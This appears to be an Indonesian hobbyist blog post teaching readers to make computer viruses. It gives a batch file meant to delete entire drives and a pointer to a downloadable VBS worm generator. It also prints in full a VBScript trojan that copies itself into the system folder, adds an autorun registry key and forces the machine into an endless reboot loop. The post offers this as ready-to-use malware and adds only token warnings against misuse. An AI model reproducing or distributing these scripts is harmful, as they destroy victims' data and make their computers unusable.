Cara membuat virus dengan mudah

Hai watashi kembali lagi
Kali ini watashi kasih kalian tutor buat virus
Krna kmarin ad yg nanya buat virus gmna...
Y udh watashi kasihh....
Lgsung simak aja y

1.  Virus yang pertama
Virus yang akan kita buat kali ini adalah virus yang bisa dikatakan jauh lebih mematikan dari pada virus - virus lainnya. Mungkin cara ini cukup ekstrem untuk dipraktikan. Jadi, jangan sampai artikel ini disalah gunakan.

Langsung saja, buka notepad dan ketikkan script berikut ini :

@echo off
DEL C: -Y
DEL D: -Y


Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.

Setelah file ini disimpan, JANGAN DIKLIK!!!

Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total. Untuk sampel virusnya bisa langsung download disini jika tidak ingin memakai cara copy paste diatas.


2. Virus Worm
Tutorial kedua ini adalah Cara membuat Virus yang Mematikan, namanya WORM,, mungkin sobat dah pada tau kan apa itu virus worm ?? yap, Worm adalah Virus yang menyebabkan Infeksi pada PC,,,,


oke daripada akhirnya ceramah langsung aja :

buka aplikasi VBS Worm Generator
Buat Yang Belum ada Download Di Link Berikut ini : VBS Worm Generator
Isi Form name dengan Nama Virus anda
Dan Pada Form Backup tempat backup Virus anda..
3. Virus Trojan
Oke Dicara Ketiga ini, padang community Memberi Tutorial Membuat Virus Trijan Dengan Notepad,, oke langsung aja Di Sambar Tutorialnya,
Buka Notepad Agan" masing",,,
Setelah Dibuka, Copy Kode berikut,,
rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

Setelah Dicopy, Save as dengan ektensi .VBS, Contoh : Virus.vbs
NB : jika agan tidak mau mengaktivkan di laptop agan, save as saja dengan ektensi  .txt ;)

Oke Sekian dulu ya

Source: binushacker from facebook